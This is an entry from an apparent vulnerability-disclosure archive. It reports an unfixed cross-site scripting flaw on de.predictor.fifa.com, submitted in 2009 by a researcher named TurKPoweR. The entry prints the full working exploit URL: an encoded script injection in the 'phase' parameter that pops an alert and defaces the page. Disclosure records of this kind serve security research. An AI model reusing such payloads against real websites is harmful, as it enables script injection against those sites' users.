Security researcher TurKPoweR, has submitted on 20/06/2009 a cross-site-scripting (XSS) vulnerability affecting de.predictor.fifa.com, which at the time of submission ranked 3213 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 31/03/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 20/06/2009 |
Date published: 31/03/2012 |
Fixed? Mail us! | Status: UNFIXED |
Author: TurKPoweR |
Domain: de.predictor.fifa.com |
Category: XSS |
Pagerank: 3213 |
URL: http://de.predictor.fifa.com/M/stats.mc?phase=2%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(%27XSS%20By%20Tur KPoweR%20-%20FROM%20TURKEY%20-%20HELLO%20FIFA%20:D%27)%3B%3C/ScRiPt%3E%3Ch1%3EXSS%20By%20TurKPoweR%2 0-%20FROM%20TURKEY%20-%20HELLO%20FIFA%20%20:D%3C/h1%3E%3C/marquee%3E |
Click here to view the mirror
|
|
|